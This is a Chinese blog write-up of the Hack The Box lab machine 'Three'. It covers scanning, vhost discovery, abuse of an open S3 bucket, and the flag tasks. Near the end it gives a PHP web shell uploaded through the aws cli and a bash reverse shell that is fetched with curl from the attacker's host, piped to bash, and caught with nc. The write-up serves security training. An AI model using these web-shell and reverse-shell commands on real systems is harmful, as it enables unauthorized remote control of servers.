首页 > 其他分享 >HTB-Three

HTB-Three

时间:2024-04-05 13:33:07浏览次数:29  
标签:shell htb s3 Three thetoppers Amazon bash HTB

HTB-Three

1.TASK1

oyDzREGQWf8xxYr8kRG2rxNqPD86WU0PryU-gkCMBBA

输入命令:

nmap -sS -sV 10.129.247.144

-sC 使用默认脚本扫描

-sV 探测服务/版本信息

Pt6fVTlJYP2ZBKOht30060Ylhsb4cE93kiWmBZIqWTo

答案:2

2.TASK2

rePpkgNk-iE4ZfUXCpuS9GB8djZCoKtOZ-CvLx2ZAdc

问题:网站“联系人”部分提供的电子邮件地址的域是什么?

xv8m0C1LnKLJvqTHptguAVIkVLLFshyRSzMcwoAVIoo

答案:thetoppers.htb

3.TASK3

u3eB2QNr0z88v15iVOVLIXMPQ5vzNMBqJjTK4NTlZ2U

问题:在没有DNS服务器的情况下,我们可以使用哪个Linux文件将主机名解析为IP地址,以便能够访问指向这些主机名的网站?

答案:/etc/hosts

4.TASK4

hLQUil8bLRwFPaG01tlb_kJwT-ctPOQ65V7plXZfKyg

问题:在进一步枚举过程中发现了哪个子域?

输入命令:

gobuster vhost -w /usr/share/dnsenum/dns.txt -u http://thetoppers.htb/

这里答案是s3,但是我扫不出来,换了个更多的字典,甚至把里面只剩下s3也不行,不知道是为什么,如果有师傅知道的话麻烦帮我解答下,然后把s3.thetoppers.htb加入到hosts里即可打开

wMl2kKghNgxsc2TUpiChlQko0XmN5Um_ZrE-1qCjjkg

5.TASK5

tmHED6wkgXDD8xwhq_VL2shMPAYFeQ4C_WzM5k0cJ7k

问题:哪个服务正在发现的子域上运行?

答案: Amazon S3

Amazon Simple Storage Service (Amazon S3) 是由 Amazon Web Services (AWS) 提供的公共云服务。Amazon S3 通过简单的 Web 服务接口提供对象存储。它被广泛用于存储照片,视频,文本文件,文档,PDF文件,并存储大量数据的备份。

6.TASK6

fHg6oNXBFFUvjhra3EB5W_6KxHz2KZa-tKn1moj0u5g

问题:哪个命令行实用程序可以用于与在发现的子域上运行的服务交互?

答案:awscli

7.TASK7

XDzndRP_HUs_3KvLoZCPR9G7ees2URXpkdIuFBQWyAE

问题:哪个命令用于设置AWS CLI安装?

答案:aws configure

GsSW3yEtfAFw3gu3owPmCQLVDFSSI3ap1R7C9jNIO8I

8.TASK8

gWNwRqIeTgSXP3BQiGLdcUCZcqYCkOcQbQCfnUnLE7I

问题:上面的实用程序用来列出所有S3存储桶的命令是什么?

aws s3 ls --endpoint=http://s3.thetoppers.htb/ s3://thetoppers.htb #列出所有 s3 存储桶

这里记得先用aws configure设置一下ID和name,否则会报错

J0uoNETv5rpTz3x3let6BBIoGLcAl0W8cGHXpZDP__Y

9.TASK9

JwbzfBV3UqpJVkj3YMXceCXnBGefhvQKLGTA0WQsA_k

问题:此服务器配置为运行用何种web脚本语言编写的文件?

从上题命令可以看到有一个index.php文件

答案:PHP

10.SUBMIT FLAG

这里我们需要先写一个一句话木马,然后上传

echo '<?php system($_GET["cmd"]);?>' > shell.php
aws s3 cp shell.php --endpoint=http://s3.thetoppers.htb/ s3://thetoppers.htb

VFGXNSbD4-Apf_5Me3HYGjK1soKsEXdOmlfuCaOeZYw

到目录下检查一下发现上传成功

5Jk4CEiGPPpnVSuVTGkuBQ4hQfSe-yDQWOiOZ8mN6Rg

此时可以在浏览器直接执行命令

kB4lWEClRByQX0WYqIjdsoswyoiWRFMWZJFPPDifqRM

o3fagSuFiixiAMZYg_pSLtu9c2hm24GpxqR8Q_nDGWA

找到flag文件后通过cat命令可以读取

ZaRwi6hAc7P9aIRIufuh0JSy40kZzTfK-zip6xqMYhg

或者可以通过命令执行shell,curl执行bash脚本反弹shell来实现命令行交互。

首先生成bash一句话shell.sh

vi bash.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.15.94/9999 0>&1  #这里的IP是本机IP
#python创建简易服务器
python3 -m http.server 8090
#nc监听端口
nc -lvnp 9999  #监听
#浏览器执行:http://thetoppers.htb/shell.php?cmd=curl 10.10.15.94:8090/bash.sh | bash

kbL_fNjbARzH_7Mg3N5EgqSDAUyvE9MP1itnafTC3gU

OUEt6f0jhsoGnD9fc3cDgmxvltUaJrdUF-u9fQhowl0

vPyeUiEwW26UdJl5iIRIePWxEYBts3xhKdMA8D8SmfE

标签:shell,htb,s3,Three,thetoppers,Amazon,bash,HTB
From: https://www.cnblogs.com/fishjumpriver/p/18115682

相关文章

  • HTB-Responder
    HTB-Responder1.TASK1问题:使用IP地址访问Web服务时,我们要重定向到的域是什么?答案:unika.htb2.TASK2由于网站无法打开,需要在/etc/hosts里把域名加入注意这里得用root帐号修改,否则无法修改修改完成后可正常打开用Wappalyzer插件可以发现是PHP或者可以用BP抓包发现......
  • 分享three.js实现乐高小汽车
    前言Web脚本语言JavaScript入门容易,但是想要熟练掌握却需要几年的学习与实践,还要在弱类型开发语言中习惯于使用模块来构建你的代码,就像小时候玩的乐高积木一样。应用程序的模块化理念,通过将实现隐藏在一个简单的接口后面,您可以使您的应用程序万无一失且易于使用。它只做它应......
  • HTB-Sequel(SQL)
    HTB-Sequel(SQL)1.TASK1问题:在我们的扫描里,哪个端口运行着我们找到的mysql?nmap-Pn-T4-sV10.129.119.235答案:33062.TASK2问题:目标正在运行哪个社区开发的MySQL版本?nmap-Pn-A-p330610.129.119.235答案:MariaDB3.TASK3问题:我们需要使用哪个参数来指定MySQ......
  • 前端可视化echarts和three
    canvas画一条直线constcanvas=document.getElementById('canvas')constctx=canvas.getContext('2d')ctx.beginPath()//绘制都用beginPath和closePath包裹ctx.lineWidth=4ctx.strokeStyle='orange'//起点终点中间点ctx.moveTo......
  • TransformControls 是 Three.js 中的一个类,用于在网页中进行 3D 场景中物体的交互式操
    demo案例TransformControls是Three.js中的一个类,用于在网页中进行3D场景中物体的交互式操作。让我们来详细讲解它的输入参数、输出、属性和方法:输入参数:TransformControls构造函数通常接受两个参数:camera(THREE.Camera):用于渲染场景的摄像机。这个参数是必需的。......
  • STLExporter 是用于将 Three.js 场景中的几何体数据导出为 STL 格式的类。
    demo案例STLExporter是用于将Three.js场景中的几何体数据导出为STL格式的类。下面是关于STLExporter的入参、出参、方法和属性的讲解:入参(Parameters):scene:THREE.Scene类型的参数,表示要导出为STL格式的Three.js场景对象。出参(ReturnValue):string:......
  • HTB Perfection-wp 基于ruby的SSTI注入、密码爆破工具hashcat的使用、反弹shell的编码
    一进来发现这个页面,估计突破点就是在这里了 当然也可走一下固定的流程,nmap扫一下、dir爆破一下。这里不太像是sql的注入点(并不是查询功能),就不用sql试了。首先第一反应时看到WEBrick模板框架,考虑有没有版本漏洞,但是在几个CVE数据库搜一下都没有对应版本的漏洞。那么走一下正常......
  • jQuery灯箱插件lightBox使用方法
    原文链接:https://blog.csdn.net/ououou123456789/article/details/6015122https://jingyan.baidu.com/article/9c69d48f992b1b13c9024e3d.html“Lightbox”是一个别致且易用的图片显示效果,它可以使图片直接呈现在当前页面之上而不用转到新的窗口。类似于WinXP操作系统的注销/关......
  • vue3+threejs新手从零开发卡牌游戏(二十二):添加己方游戏流程(先后手、抽牌、主要阶段、战
    首先在utils/common.ts里定义一些流程相关的变量:constflow=ref([//游戏流程{name:"抽卡阶段"},{name:"主要阶段"},{name:"战斗阶段"},{name:"结束阶段"}])constflowIndex=ref(......
  • C#的笔记~Three
    1.数据类型转换★为什么需要数据类型转换(1)隐式类型转换:在某种条件下,系统自动完成类型转换(即隐式类型转换)❉两种类型兼容例如:double兼容int类型❉目标类型精度大于源类型例如:double类型大于int类型(2)显示类型转换※※其中第二种是在程序开发中最常用的一种显性类型转换方......